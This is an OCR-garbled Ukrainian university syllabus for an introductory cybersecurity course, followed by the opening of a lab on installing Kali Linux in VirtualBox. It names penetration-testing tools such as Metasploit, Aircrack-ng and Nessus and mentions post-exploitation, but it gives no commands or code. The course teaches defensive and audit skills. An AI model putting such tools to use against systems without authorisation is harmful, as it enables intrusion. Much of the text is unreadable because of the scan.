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BCTYII

Kypc «Beryn o xibep6e3nexkmn» npu3HaueHui JIj1s1 HAOyTTsI TCOPETUUHUX 3HAHb
Ta MPaKTUYHUX HABUYOK 3 MUTaHb 3a0e3neyeHHs KiOepOesmeku. Bkiouae B cebe
HAOYTTS HACTYITHUX TE€OPETUYHHUX 3HAHb: 3aKOHOJIaBYa Ta HOPMATUBHO-TIpaBoBa 0aza
VYkpaiau B ramy3i iHdopmarliiinoi Ta /abo kibepOe3neku; M>KHAPOAHI CTaHIAPTH B
rany3i iHGopmalliifHoi Ta /abo KiOepOe3neKu; I1HCTPYMEHTaIbHI Ta MPHUKIAIHI
3aCTOCYHKHM B 1H(QopMmarlliiiHii Ta/abo kibepOesmerl; MeToAu 1 3aco0u 0OpOOKH
iHopmMmarii; omepamiiiHi cuctemMu; Mojaeni Oe3reku B iH(QopmariiiHii Ta/abo
kibepOe3nerti; 3axuct 1HQopmarlii, MmO oO0poOJsgeTbcss Ta 30epiraeTbcsi B
iHdopmariiiHo-TenekoMmyHikaiiitnux cucremax (IKC); mporpamui ta mporpamHo-
anmapatHi  Komruiekcu  3aco0iB  3axucty 1Hdopmarii  (33[); BimHOBIEHHS
¢dbynkuionyBanusa IKC micns peanizariii 3arpo3s, 31iiicHeHHs KibepaTtak, 3001B Ta BiJIMOB
PI3HMX KJaciB Ta MOXOJKEHHs; MOHITOpPUHT mpoleciB ¢yHkuionyBanus IKC;
MEXaHI3MH O€3MEeKH KOMII'FOTEPHUX MEPEX; MPOEKTYBAaHHS, CTBOPEHHSA, CYIpPOBIJ
KOMIUIEKCHUX cucteM 3axucty iHpopmanii (KC3I); momem 3arpo3 Ta Mojenl
MOPYIIHUKA; oliHKa 3axuuieHocTi iHdopmanii B IKC; ynpapminHs 1HQOpMaLIiHOO
Ta/abo kiOepOe3nekoro; ayauT iHGopMaliiiHoi Ta/abo KibepOe3neKu; CUMETPUYHI
KPUIITOCUCTEMH; AaCUMETPUYHI KPUITOCUCTEMH; KpUNTOrpadiuHi MPOTOKOJIH;
nudpoBa creraHorpadis; TeXHIYHUN 3axucT iHPopMarii. Ta HaOyTTS HaCTyImHUX
MPaKTUYHUX HAaBUYOK W BMIHb 3 KiOepOe3meku, JUisi 4Ooro BMITH: PO3TOpTaTH
orepariiiHy cucTeMy JJi1 MPOBEAEHHS ayJuTy KiOepOe3neku KOMI IOTEPHUX MEpekK
Ta CHUCTEM; BUKOPUCTOBYBAaTH IHCTPYMEHTH MPUXOBAHOTO 300py TEXHIYHOL
iHdopMarlli 3 KOMIT'IOTEpHOI cucTeMu abo Mepexi; IOCHIHKYBAaTH Ypas3JIUBOCTI
cucteMu  abo0  Mepexi  3a  JIONIOMOTOK  CIEHIai30BAaHOTO  CKaHepa
ypaznuBocTeil — Nessus; BU3HA4YaTH ypa3IMBOCTI BeO-pecypciB Ta Be0-3aCTOCYHKIB;
KOpPUCTYBaTHCsl ckaHepoM ypasnuBoctedi — OWASP ZAP; mykatu ypas3nmBocCTi Ta
yyTTeBY 1H(OpMAII0 y BIAKPUTHX pecypcax 3a JI0MoMoror 3aco0y Maltego;
KOPUCTYBAaTHCSl CHiIepaMH; KOPHUCTYBATHCS 3aCO00OM JOCTIIKEHHS Yypa3JIMBOCTEU
oe3npoBomoBux Mepexx  Wi-Fi — Aircrack-ng; posropratu  pen-test  CTaHIIIi;
MIITOTOBIIOBaTH 10 poOoTu Metasploit Ta PostgreSQL; 30upatu indopmariiio 3a
nonomororo  Metasploit; mrykatu ypasznuBocTi  3a  jonmomoror  Metasploit;
KOPUCTYBATUCS €HKOJIEPOM. €KCIUTyaTyBaTh Ypas3JIMBOCTI; BUKOPUCTOBYBATH
MOKJIMBOCTI TOCT-EKCIUTyaTarlii. BiAmoBimHO O3HaueHe € MpeaMEeTOM HaBYaIbHOI
mucruIuiiag «Betyn o kibepoesnekn» sk ocBiTHROI kKoMmmoHeHTH OI1 «KibepoOesneka
Ta 3axXuCT 1HpOopMaIlii» nepmoro (6akaaaBpChbKOTO) PiBHS BUIIOI OCBITH

Mera 1 3aBIaHHs JUCIHUILIIHA

Metor BUKJIaAaHH JucuUILTiHg « BeTyn 1o kibepoesnekn» € GopMyBaHHS y
31100yBayiB BUIIOI OCBITH I'PYHTOBHHMX TE€OPETUYHUX 3HAHb, MPAKTUYHUX YMIHb Ta
HAaBMYOK, HEOOXIIHHUX [JIl 3aCTOCYBaHHA B MpoQeciiiHid isIbHOCTI y cdepi
KibepOe3nexu.



OCHOBHMMH 3aBJAHHAMM BUBYCHHS JUCIUIUIIHUA € (POPMYBaHHS HACTYITHUX
KOMIIeTeHIii 0akanaBpa 3 KidepOe3nexku Ta 3axucTy iHpopmamii:

— 3K 1. 31aTHICTh 3aCTOCOBYBATH 3HAHHS Yy MPAKTUYHUX CUTYAIIIsX.

— CK 1. 3naTHicTh 3aCTOCOBYBATH 3aKOHO/IaBUY Ta HOPMATHBHOIIPABOBY 0a3y, a
TaKOXX JepKaBHI 1 MDKHAPOJHI BHUMOTH, MPAKTHKU 1 CTaHAApPTH Yy mpodeciiHii
JISIBHOCTI.

—CK 2. 3paTHICTh BUKOPUCTOBYBaTH 1H(OpMaIHI TEXHOJIOTII, CydYacHi
METOH 1 MOJIeN KibepOe3neKkn Ta CUCTEMH 3aXUCTy 1H(POpMAITii.

—CK 3. 3partnicte 3a0e3medyBaTH HEMEPEPBHICTH O13HEC-TIPOIECIB 3T1IHO
BCTAHOBJICHOT MOJIITUKH KiOepOe3neKy Ta 3aXucTy iHpopMmariii.

— CK 4. 3partnicte 3a0e3nedyBaTu 3axucT iHbopMalii B iHPOpMAIiHUX Ta
iH(MOpMaIIHHO-TEIEKOMYHIKAIIIMHUX ~CUCTEMax 3TITHO BCTAHOBJIEHOI MOJITHKA
KiOepOe3mneku Ta 3axucTty iH(opmariii.

—CK 5. 3paTtHicTh BIAHOBIIOBATH (PYHKI[IOHYBaHHS 1HQOpMALIMHUX Ta
1H(MOpMaIIHO-TEIEKOMYHIKAI[ITHUX CUCTEM IIICIsl peaiizaiii 3arpos3, 371HCHEHHS
kibeparak, 300iB 1 BI/IMOB PI3HUX KJIACIB Ta MOXO>KEHHS.

—CK 8. 3parHiCTh 3aCTOCOBYBAaTH METOJIM Ta 3aco0M KpUITOTrpadiuHOTO
3axucTy iHpopmarlii Ha 00’ ekTax 1HPOPMALIIMHOT JISITEHOCTI.

—CK 9. 3nmatHicTh 3aCTOCOBYBaTH METOJU Ta 3aCO0M TEXHIYHOTO 3aXHCTY
iH(popmarlii Ha 00’ ekTax 1HGOPMAIIITHOT TISITHHOCTI.

—CK 10. 3parHicTh BUKOHYBAaTH MOHITOPUHI 1H(MOPMALIMHUX MPOLECIB,
aHaji3yBaTH, BHSBISATH, OLIHIOBAaTH  MOXJIMBI  Bpa3JMBOCTI Ta  3arpo3u
iH(popMaiiHOMy TpoCcTOpYy ¥ 1H(OpMAUIHHKUM pecypcam 3TiIHO 3 BCTAHOBIIEHOIO
MOJIITUKOIO 1H(OpMaIliiHOT O€3MEKH.

dopmat TUCIUILIIHU

[l nenHoi hopmMu HaBYAHHS:

Buknananas kypcy nepemdadae Il 3aCBOEHHS JUCHUIUIIHM TpagauIliiHI
JISKIIMHI 3aHATTS 13 3aCTOCYBaHHSIM MYJIbTUMEIIMHUX MPE3CHTAIll, y MOeAHAHH] 3
1a00paTOPHUMHU 3aHSATTSIMHU.

dopmart ounnii (Face to face)

s 3a04HO1 HhOpMU HAaBYAHHS:

[lix w4ac cecii ¢dopmar ounmit (Face to face), y MixceciiiHui
nepio — quctaniiitauii (online).

PesynbraTn HaBuaHHs

VY pe3ynbTari BUBYEHHS AUCLMIUIIHU CTYJIEHT MOBUHEH 3a0€3MeYUTH HACTYIIHI
porpaMHi pe3yJbTaTH HaBYaHHS:

—PH 9. 3natu Ta 3acTOCOBYBAaTH 3aKOHOJABCTBO YKpaiHW Ta MINKHApOJHI
BUMOTH, TPAKTUKH 1 CTAHJIAPTH 3 METOIO 3/IIHCHEHHS TPO(ECiitHOT AISITLHOCTI B TaTy31
KibepOe3nexu Ta 3aXucTy iH(opmarrii.



—PH 10. BuxopuctoByBaTu cy4acHi iH(OpMaliiiHI TEXHOJIOTii, METOau 1
Moen kKibepOe3nekn Ta CHUCTEM 3axHcCTy iH(opMmarii 1y 3aiiicHeHHs rpodeciitHol
JISIBHOCTI.

—PH 11. IInanyBatu miAroTOBKY Ta 3a0e3ledyBaTH HEMEPEPBHICTH Oi3HEC-
IPOIIECIB B OpraHizallisx 3riJHO 31 BCTAaHOBJICHOIO TOJITHKOK KibepOe3neku 3
ypaxyBaHHSI BUMOT JI0 3aXUCTy 1H(opMairii.

—PH 12. 3acrocoByBaT MeToAu Ta 3acobu 3axucty 1HQopmamii B
iHbOopMaIHHUX Ta 1HPOPMAIIITHO-TEIEKOMYHIKALIHHAX CHUCTEMax BIiIMNOBIAHO 0
BCTAHOBJICHOT MOJITHKH 1HPOpMAIliITHOT Oe3MeKH.

—PH 13.  BnopoBamkyBaTu,  HQJIAIITOBYBATH,  CyHPOBOJKYBATH  Ta
OiATpUMYBaTH (PYHKIIOHYBaHHS MPOTPAMHHUX 1 MPOrPaMHO-aMapaTHUX KOMILUIEKCIB 1
cucteM KiOepOe3mekn Ta 3axucTy iH(popmaiii SK HEOOXiTHI NpOUenypu s
(yHKLUIOHYBaHHA 1H(QOpMAUIHHUX W 1H()OPMALIHHO-TEICKOMYHIKAIMHUX CHCTEM
Ta/a00 1HGPACTPYKTYpH OpraHizailii B HLIOMY.

— PH 14. BupimryBaTu 3aa4i ynpaJiiHHS [POIIECAaMH BiJTHOBJICHHSI IITaTHOTO
¢dbyHKI1OHYBaHHA 1HGOpMAIITHUX Ta 1HPOPMALIMHO-TEICKOMYHIKAIMHUX CUCTEM 3
BUKOPHUCTAHHAM IPOLIETYp PE3EPBYBAHHS 3T1IHO BCTAHOBJICHOI MOJITUKU OE3MEKH 1
3a0e3neuyBaTu (DYHKIIOHYBAHHS CIEIIaJbHOTO MPOTPAMHOTO 3a0e3MEeUeHHS 010
3aXMCTY Ta BIHOBJICHHS 1H(pOpMAIIii.

— PH 18. AnanizyBatu, 3aCTOCOBYBaTH METOJM Ta 3aCO0M KPUITOTrpadidaHOTO
3axuCTy 1HpOpMaIlli Ha 00’ ekTax 1HPOpMAaIIHHOT JISITIBHOCTI.

—PH 19. BupimyBatu 3agayi mOAO0 OpraHizamii Ta KOHTPOJIO CTaHy
KpunrorpadiuHoro 3axucty iHpopMallii, 30KpeMa BiANOBIIHO 1O BUMOT HOPMATUBHUX
JIOKYMEHTIB.

— PH 20. Bu3znauatu 3arpo3u CTBOPEHHS TEXHIYHUX KaHAJIIB BUTOKY 1H(QOpMaIlii
Ha 00’eKxTax 1HPOPMaLIHOI AISUTBHOCTI; BIPOBAHKYBATH 3aCO0U 1 3aX0A1 TEXHIYHOTO
3axucTy iH(hOopMaIlii BiJl BATOKY TEXHIYHUMH KaHaJlaMu, TPOBOJUTH OOCTYyrOBYBaHHS
1 KOHTPOJIb CTaHy arapaTHUX 3aC001B 3aXUCTY 1H(POPMAIIii Ta KOMIUIEKCIB TEXHIYHOTO
3axucTy iHpopMariii.

—PH 21. BukonyBaTu BIPOBa)KEHHs, MIATPUMKY, aHali3 €QEeKTUBHOCTI
CHUCTEM BUSBJCHHS HECAHKI[IOHOBAHOTO JOCTymy, ik 3 1HpopMaIlli€r B
iHdopMaIiiHIA CUCTEMI, Bpa3IUBOCTEH, MOXIJIHMBUX 3arpo3 iHdopmaliitHoMy
mpocTopy i iHGopMaIiiHUM pecypcaM Ta BUKOPUCTOBYBATH KOMILJIEKCH 3aXHCTY JJIS
3a0e3ne4YeHHs] HEOOXIJTHOTO pIBHS 3aXUIUEHOCTI 1HQopMauli B 1HGOpMALIITHUX
CUCTEMaXx.

—PH 47. BupimryBatu 3ajmaui 3axucty 1Hdopmalii, 1o o0poOssieTbcsi B
1H(hOpMaIIHHO-TEIEKOMYHIKAI[IHHUX CUCTEMAaxX 3 BUKOPUCTAHHSM CYyYaCHUX METO/IIB
Ta 3ac001B KpUNTorpadiuHoro 3axucry iHdopmariii.

— PH 48. BukoHnyBaTu BHOpPOBaJKEHHS Ta MIATPUMKY CHUCTEM BUSIBICHHS
BTOPTrHEHb Ta BUKOPHUCTOBYBATH KOMIIOHEHTH KPHUOTOrpadiyHOrO 3axucTy MIJis
3a0e3nedyeHHs] HEOOX1THOTO PIBHS 3axXWIEeHOCTI iHopmarii B iHDOpMaIliitHo-
TEJIEKOMYHIKaLIMHUX CUCTEMaX.

—PH 53. BupimyBatu 3amaui aHaiizy MNOPOrpaMHOTO KOJAY Ha HasBHICTb
MO>KJIUBUX 3arpo3.



IMoaiTuka ITuCHUIIIHA

AKaneMivHa JIOOPOYECHICTh:

OdikyeThbCsl, 1O CTYACHTH OyAyTh JAOTPUMYBATHUCS NPUHIIMIIB aKageMIdyHOI
T0OpPOYECHOCTI, YCBIIOMJTIOBATH HACIIIKY 11 TOpyIIeHHs. JleTanpHiIIe 3a TOCUIaHHIM
URL : http://www.kntu.kr.ua/doc/dobro.pdf

Ha mepmriif nekiii 3q00yBadyaM OCBITH JOBOAAThCS moJioxkeHHs Crarti 42.
AxkanemiuHa 1oOpoUYecHiCTh, 3akoHYy Ykpainu «[Ipo ocBiTy»

BiaBiayBaHHS 3aHITH

BinBigyBaHHS 3aHATH € BOKIUBOIO CKJIAJ0BOIO HaBYaHHs. OQUiKy€ThCs, MO BCi
CTYJICHTH BiJIBITAfOTH JICKITIi 1 JaOOpaTOpHI 3aHITTS KypCy.

[TpomyiieHi 3aHATTS TOBUHHI OYTH BiANpallbOBaHi HE Mi3HiIIe, HIK 32 THXICHb
710 3aJTIKOBO] cecil.

[loBemiHKA HA 3aHATTSIX

HenonmycTumicTs: 3ani3HeHb Ha 3aHATTS, CIUCYBaHHS Ta IUiariaT, HECBO€YacHE
BUKOHAHHS MTOCTABJICHOTO 3aBIAaHHSI.

[Ipu opranizamii  ocBiTHROTO Tpouecy B  lleHTpambHOYKpaiHCHKOMY
HaIllOHAJTPHOMY TEXHIYHOMY YHIBEPCUTETI CTYACHTH, BHKJIaJadl Ta aaMIHICTpaIlis
TiI0Th  BiAnmoBigHO J10: IlosiokeHHS TIpO OpraHi3aiil0 OCBITHBOTO IPOIIECY;
[TonoxeHHs: Mpo OpraHi3allilo BUBUYCHHS HaBYAIBHUX JUCIMIUIIH BIIBHOTO BHOODY;
[TonoxeHHs: npo pyOLKHHI KOHTPOJIb YCIIIIHOCTI 1 CECIMHY aTecTallld CTYJEHTIB
HHTY, Koaekcy akagemiunoi qoopodecHocti [HIHTY.

KoHTpoJb 3HaHb

Kpurepii oLiHKY 1CTIATY:

OUIHKY «BigMiHHO» (90-100 0aJsiB, A) — 3aCIIyroBy€ CTYJEHT, SIKUM:

— BCEOIYHO, CHCTEeMAaTHMYHO 1 TJIMOOKO BOJIOJIE€ HABUYAIHLHO-TIPOTPAMOBUM
MarepiaiaoM;

— BMI€ CaMOCTIHO BHWKOHYBaTH 3aBJaHHs, IMepefdadeHi Mporpamoro,
BUKOPUCTOBYE HAOYTI1 3HAHHS 1 BMIHHS Y HECTaH/IAPTHUX CUTYAIIfAX;

—3aCBOIB OCHOBHY 1 O3HAallOMJIEHMH 3 JOJATKOBOIO JITEpaTyporo, sKa
PEKOMEHI0BaHa MpOrpamolo;

—3aCBOIB B3a€MO3B'SI30K OCHOBHUX IOHATh JUCIMIUIIHM Ta YCBIIOMIIIOE iX
3Ha4YeHHA 15 npodecii, aKy BiH HaOyBae;

— BUIBHO BUCJIOBJIIO€ BJIACHI IYMKH, CAMOCTIMHO OIIiHIOE€ PI3HOMAHITHI )KUTTEBI
aBUIA 1 (AKTH, BUSIBIISIIOUM OCOOUCTICHY TMO3HUILIIO;

— CaMOCTIMHO BHM3Ha4ya€ OKpeMl IIiJIi BIAaCHOI HaBYAIbHOI JISUIBHOCTI, BUSIBUB
TBOpYl 3MI0HOCTI 1 BUKOPUCTOBYE iX MpPH BHUBUYEHHI HABYAIBHO-IIPOTPAMOBOIO
MaTepialy, IpOsSBUB HAXMJI 0 HAYKOBOI pOOOTH.

OLIIHKY « 100pe» (82-89 6aJiB, B) — 3aciyroBye cTyAeHT, AKU:

— TIOBHICTIO OTTaHYBaB 1 BUILHO (CaMOCTIIHO) BOJIOII€ HABYATHLHO-TIPOTPAMOBHUM
MaTepiajioM, B TOMY YHCJ 3aCTOCOBYE MOro Ha MpPaKTHIll, Ma€ CUCTEMHI 3HaHHS
JOCTaTHHOMY  00CSI31  BIAMOBIAHO IO HABYAJIBHO-TIPOTPAMOBOTO  MaTepiaiy,
apryMEHTOBAaHO BUKOPUCTOBYE iX y PI3HUX CUTYaIlisIX;


http://www.kntu.kr.ua/doc/dobro.pdf

— Ma€ 3/IaTHICTh JI0 CAaMOCTIMHOTO TOIIYKY iH(pOpMAIlii, a TaKOX 10 aHaJIi3Yy,
MTOCTAaHOBKH 1 pO3B'sI3yBaHHS IPo0jeM MpodeciitHOTO CIIpsMyBaHHS;

— I1JT Yac BIJAMOBIAI JOMYCTUB JESKI HETOYHOCTI, SKI CAaMOCTIMHO BHUIIPABIISIE,
n00upae NMePEeKOHJIMBI ApTYMEHTH Ha IMiITBEPKEHHSI BUBYCHOTO MaTepialy;

OLIHKY «100pe» (74-81 6au, C) 3acayroBye CTyACHT, SIKHIl:

— B 3araJibHOMy poOOTy BHKOHAaB, aj€ BIJNOBiJIa€ Ha €K3aMEHI 3 IMEBHOIO
KIJIBKICTIO TIOMHJIOK;

— BMi€ TOpPIBHIOBATH, Y3arajibHIOBATH, CHCTEMAaTHU3yBaTH 1HQOpPMAIUIO TMif
KEpIBHUIITBOM BHKJaJada, B I[JIOMy CaMOCTIMHO 3acTOCOBYBaTH Ha MPAKTHIIL,
KOHTPOJIIOBATH BJIACHY JISIIbHICTB;

— OMMaHYBaB HABYAJIHHO-TIPOTPAMOBUN MaTepiall, YCIIIIIHO BHUKOHAB 3aBIaHHS,
nepeadadeHi MporpaMolo, 3acBOIB OCHOBHY JIITEpATypy, SKa pPEKOMEHJI0BaHa
IPOrpaMolo;

OLIHKY «3a10BUILHO» (64-73 0anu, D) — 3aciyroBye CTYJIEHT, SIKUA:

— 3Ha€ OCHOBHHMI HaBYAJIBHO-TIPOTPAMOBHI MaTepiall B 00Cs31, HEOOX1THOMY
JUTSI TIOJJAJTBIIIOTO HAaBUYAHHS 1 BAKOPUCTAHHS MOT0 y MalOyTHIM npodecii;

— BUKOHYE€ 3aBJIaHHS, aJie MPU PIIlICHH] J0MyCKa€ 3HAYHY KIJTbKICTh TOMUJIIOK;

— O3HAMOMJIEHHI 3 OCHOBHOIO JITEPaTypoIo, IKa peKOMEHA0BaHa IIPOrpPaMolo;

— JIOMYCKAa€ Ha 3aHATTIX Y €K3aMEH1 TOMIJIKH ITPU BUKOHAHHI1 3aBJIaHb, aJie Il
KEpIBHUIITBOM BUKJIaJa49a 3HAXOIUTh IUIAXH X YCYHCHHS.

OLIHKY «3210BLIbHO» (60-63 0asu, E) — 3aciiyroBye CTyIeHT, SIKUU:

— BOJIOJIIE OCHOBHMM HAaBYAJIBHO-IIPOrPAMOBHM  MaTepiaioM B  00cs3l,
HEOOXITHOMY JUIsl TMOAANbIIOrO HAaBYaHHS 1 BUKOPUCTaHHS MHOro y MaillOyTHIN
npodecii, a BUKOHAHHS 3aBJIaHb 3aJI0BOJIbHSIE MIHIMaJIbHI KpUTEpli. 3HAHHSA MalOTh
PENPOAYKTUBHUM XapaKTep.

OLIHKA «HEe3a10BLIbHOY (35-59 6auiB, FX) — BUCTaBIS€THCS CTYACHTY, SKUM:

— BUSBUB CYTTEBI MPOTAIMHUA B 3HAHHSAX OCHOBHOTO MPOTPaMOBOT0 Matepiaiy,
JIOTTYCTUB MPUHITMIIOB] TOMUJIKY Y BUKOHAHHI TIepe10auyeHuX MporpaMoro 3aBAaHb.

OLIHKY «He3a10BLIbHOY (35 0auiB, F) — BUCTaBISETHCS CTYJICHTY, SKUM:

— BOJIOJII€E HABUaJbHUM MaTepiaioM TUIBKM Ha PIBHI €JIEMEHTapHOTO
pO3Mi3HaBaHHs 1 BIITBOPEHHS OKpeMuX (PakTiB a00 HE BOJIOJIIE 30BCIM;

— IOTIycKae TpyOl TMOMWJIKM TIpM BHUKOHAHHI 3aBjJaHb, IepeadadyeHux
MpOrpamoro;

— HE MOJK€ IMPOJIOBXKYBATH HaBUYAHHS 1 HE TOTOBUM A0 NPOodeciiHOl AiISITBHOCTI
MICIIsl 3aKIHYEHHS YHIBEPCUTETY 0€3 MOBTOPHOIO BUBUYEHHSI IaHOT AUCIUIUTIHH.

IIpu BuCTaB/ICHHI OL[IHKM BPaXOBYIHOThCH pe3y/IbTaTH HABYAJIbHOI PO0OTH
CTy/IeHTa MPOTSITOM CeMeCTpy

Kpurepii ormiHku 3aiiky:

— «3apaxoBaHO» — CTYJIGCHT Ma€ CTIAKI 3HAHHS TMPO OCHOBHI TOHSTTS
JUCLMILUTIHU, MOXe C(POPMYITIOBATH B3a€EMO3B'SI3KHA MIXK MOHSATTSIMHU.

— «HE3apaxOBaHO» — CTYJIEHT Ma€ 3HAa4yHI MPOIMYCKH B 3HAHHIX, HE MOXE
chopMyIIOBaTH B3a€MO3B'SA3KY MK MOHSTTAMHM, L0 BUBYAIOTHCS B KypCl, HE Mae
YSIBJICHHS TIPO OLIBIIICTh OCHOBHHX MOHSTH JUCIUILTIHH, IO BUBYAETHCS.
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JlabopaTtopHna poGora Ne 1

Tema: PosropranHs omnepariiHOi CHUCTeMH [IJIi IIPOBEJACHHS ayJauTy
Ki06epOe3neKr KOMIT IOTEPHUX MEPEXK Ta CUCTEM

Merta: OTpumart HaBUYKK HEOOXiaH1 Jyisi po3roptanHs OC 11 mpOBeIEeHHS
aynuTy 1H(pOopMaIiHOT 0e3neKu

Teopernuni Bitomocri

Jns mpoBeneHHa ayauty iH(opmaiiiftHOi Oe3neku MeBHOI 1HQOpMAIliitHOT
CUCTEMH, 3a3BUYali, HEIOCTATHbO JIMIIIEC 3HAHb CTAHAAPTIB, HOPMATHUBHUX JOKYMEHTIB
Ta 3aKOHO/IABCTBA KpaiHH, [Ie TPAIIO€ 3axuleHa cucteMa. L{ux 3HaHb JOCTATHBO IS
oprasizaiii poOOTH Takoi CHCTEMH, MPOTE KOJM CIpaBa JOXOIUThH JI0 INEPEBIPKU
3aXMIINEHOCTI CUCTEMH, TaK OM MOBHTH, B IOJbOBUX YMOBaX, HEOOXiJIHI 1 3HAHHA, 1
HAaBUYKH POOOTH 3 BIAMOBIAHUMHU 1HCTPYMEHTAMH, CUCTEMaMH Ta ¢peiimBopkamu. |
3HOBY K TaKd, 3HaHb T4 HABUYOK BUKOPUCTOBYBAHHS JIUIIE MEBHUX 1HCTPYMEHTIB
TaKOX BUSBIIAETHCS HEJOCTATHBO, OCKUIBKU 1H(MOpMaIiiiiHa Oe3neka — e raiaysb, 110
Ty>Ke TMHAMIYHO PO3BUBAETHCS. Y 3B A3KY 3 LIUM, PI3HOMAHITHI IPYIH CHEIIATICTIB Ta
amMaTopiB PO3pOOWIIN HU3KY TUCTPUOYTHBIB OmepalliiiHoi cucremu Linux.

Cepen ycix quctpuOyTUBIB, TPU3HAYEHUX ISl ayAUTY 1HQOpMaIiiiHOT Oe3MeKH,
HaiiOpie nommpeHHss otpumaB auctpuOytuB Kali Linux, mo po3pobiserses
kommanieto Offensive Security (mo Toro mepmicts 3aiiMaB auctpudytuB BackTrack,
0 TaKoXX po3poOssiBcs miero kommaniero; Kali e namankom BackTrack). Ileit
TUCTPUOYTHUB BIAPIZHAETHCS BEJIMKUM HaOOPOM IHCTPYMEHTIB, SIK1 BK€ HAJIAITOBAHO
1 OUTBIIICTD 3 SKUX TOTOBI MPAIIOBATH «3 KOPOOKM», BEIMKUM HAOOPOM amapaTHOro
3a0e3MedeHHs], M0 MATPUMYEThCS 0€3 TOAATKOBUX HAaJAIITYBaHb, CTAOLIBHICTIO
po0OOTH, PEryIIPHUMHU OHOBJIEHHSIMU, TAPHOIO MIATPUMKOIO Ta BEJIIMKUM aKTHBHUM
KOM "FOHITI.

Okpim 1poro, Offensive Security Bumyckae 1 omepariiiiHy cuctemy IS
MOOUTHbHMX TeneoHIB, IUIAHIIETIB Ta JESKUX MiKpo-KoHTpoJepiB — NetHunter,
noOynoBany Ha ocHoBi Kali Linux, mo mnpaioe Ha ycix Android-mpuctposix,
nounHarouu 3 Bepciii Lollipop (5.1) Ta Marshmallow (6.0).

Bapto 3ayBaxkuth, mo auctpudytus Kali Linux moximBo 3amyctutu 3 dier-
kaptu y pexumi Live. Ileit BapianT posropranHs OC s NPOBEICHHS ayaUTy
iH(opMarliitHoT Oe3nekn Mae MEeBHY IepeBary HajJl BIpTyali3alli€ro, a caMe — HaJIaHHs
MOBHOTO JIOCTYNY JO PECYpCiB KOMIT'IOTE€pa, IO CTA€ KPUTUYHUM IS ayIduTy
0e3IpoTOBUX Mepex (He mnoTpedye BUKOPUCTAHHS JOJATKOBUX OE3IPOTOBHUX
agantepiB). [IpoTe A MOBHOLIHHOIO WOr0 BUKOPUCTAHHS BApTO MPOBECTH MPOLIEC
iHCTanAIli. [HCTpyKIii BCTAHOBJICHHS OIEpaIiiHOl CUCTEMU Ha (Ien-KapTy
(ctBopennst Live-USB) moyxHa 3HaiiTH Ha oQimidHOMY CalTi 3a MOCHJIaHHIM
https://www.kali.org/docs/usb/. Temep mnepeiizeMo 10 BHUKOHAHHS J1A0OOPATOPHOI
poboTH.

3aBaHTaXUTU TUCTPUOYTHB MOXKIJIMBO Ha odiriiiHomy caiiti kali.org y posmimi
3aBanTaxxeHHs (Download/Get Kali). IuctpuOyTrBU pO3MOBCIOIKYIOTHCS Y BHIIISII
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32x- Ta 64X-pO3pSAHUX CHCTEM. 3aBAHTAXHUTH (DAl MOXKIIMBO SIK TPSIMO 3 CEPBEPIB
caiTy, TaK i 3a JomoMoroxo mpotokoiy BitTorrent.

[lepen moyaTKOM iHCTANISIIIIT BAPTO BU3HAYUTHUCS, YU CHCTEMY OyJie PO3TOPHYTO
y BIPTYaJIbHOMY CEpeloBHUII (BipTyaJibHa MalllMHAa), Yd Ha peajbHIM CHCTEMI.
Posropratu Taky cucTeMy peKOMEHJOBAaHO Y BipTyaJlbHOMY CEpPEIOBHII, aP)Ke BOHA
He Oy/le BIUTMBATH HA OCHOBHY CHCTEMY YM 3aJIeKaTH BiJ HEi, MOXXJIHMBO JIETKO
NepPEeMUKATHCS MK CHUCTEMaMH, CIPOIIEHE YMPaBIiHHSA BipTyaJbHOI MAaIIHHOIO,
JIETKICTh HAJAMTYBaHHS TomO. J[7s 1IbOro HEOOXiTHO JOJATKOBO 3aBaHTAKHUTH
BIJIMTOBITHE MMpoTrpaMHue 3a0e3neuenns. OoupaTu MoXKHa cepes] 0araTbox, ajie B paMKax
TEOPETUYHUX BIIOMOCTEH /10 1i€i 1abopaTopHOi poOOTH XOTLIOCS O 3BEpHYTH yBary
Ha TporpamHe 3abe3neueHHs Bi kommanii Oracle, a came Oracle VirtualBox.

VirtualBox  pekoMeHIOBaHO  3aBaHTaXyBaTh 3  oQimidHOrO  caity
https://www.virtualbox.org/, e TI3 po3nmOBCIOMKYETHCS K JJIS ONEPAIHHUX CHCTEM
cimeiictea Windows, Ttak i1 mms Linux. [erambHi 1HCTPYKII 3 1HCTAALNl I
omepariiiHoi cucremu LINUX 3HAXOAATHCS HA CTOPIHII 3aBaHTAKEHHS. [HCTANISIIS IS
OC Windows e abcomroTHO CTaHIaPTHORO, aJie He0OX1THO 3BEPHYTH YBary, 1o ITiJ] 9ac
THCTaNAIIiT Ha KOPOTKUU MPOMDKOK 4Hacy OyJe BUMKHEHO JOCTYIl JI0 MEPExi — I1e
MOB’SI3aHO 3 THCTASIIIEID MEPEKEBUX JpalBepiB BIPTYaJbHOT MAlIMHU. (HA MOMEHT
CKJIaJlaHHSI METOJJMYHUX BKa31BOK akTyasbHOMO € Bepceis 13 VirtualBox 7.0).

[Ticnst Toro, Ik BUBHAYEHO CEPENOBUIIE, B SIKOMY OyJieé PO3TOPHYTO CHUCTEMY,
HeoOX1HO miArotyBatu obOpa3. 3 odimuiiHoro caiity Tpeba 3aBantaxutu 1SO-06pa3
(po3ain “Installer Images”), ais 3pydHOCTI HOro MOYKHA 3alucaTd Ha (ieni-kapry.
[HCTpyKIIT 31 CTBOpPEHHS Ta HaJAIITYBAHHS BIPTYaJlbHOI MAIIMHM Ha I1HIIMX
miaTpopMax  MOXKHa  3HAWTM Ha  OQIUIKHOMY  CalWTi 32  TNOCHJIAHHAM
kali.org/docs/virtualization.

JInsi BCTaHOBJIEHHS CHUCTEMHU Y BIpTyalbHOMY CEpEOBHINI HEOOXIAHO, s
MOYaTKy, CTBOPUTH HOBY BipTyalibHy MamuHy. [l nporo 3amyctite VirtualBox aco
iamre Biamosiaue 13 i cTBopiTh Mammny. Huwkue Ha ckpinmorax (Pucynok 1.1-1.7)
nokaszaHa MoC/iI0BHICTh CTBOPEHHSI BipTyanbHo1 Mamuau A1 [13 VirtualBox:
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¥ Oracle VM VirtualBox Manager - m} x

File Machine Help

5 o ZE | {ﬂl@

Preferences  Import Export Add

Welcome to VirtualBox! HaTUCHITE

The left part of application window contains global tools and lists all virtual machines
and virtual machine groups on your computer. You can import, add and create new
WMz using corresponding toalbar buttons. You can popup a tools of currently selected
element using corresponding element button.

You can press the F1 key to getinstant help, or visit www. virtualbox.org for more
information and latest news.

Pucynok 1.1 — Hatuchits “New” 11st CTBOpEHHSI HOBO1 BIpTyaJIbHOT MaIllMHU

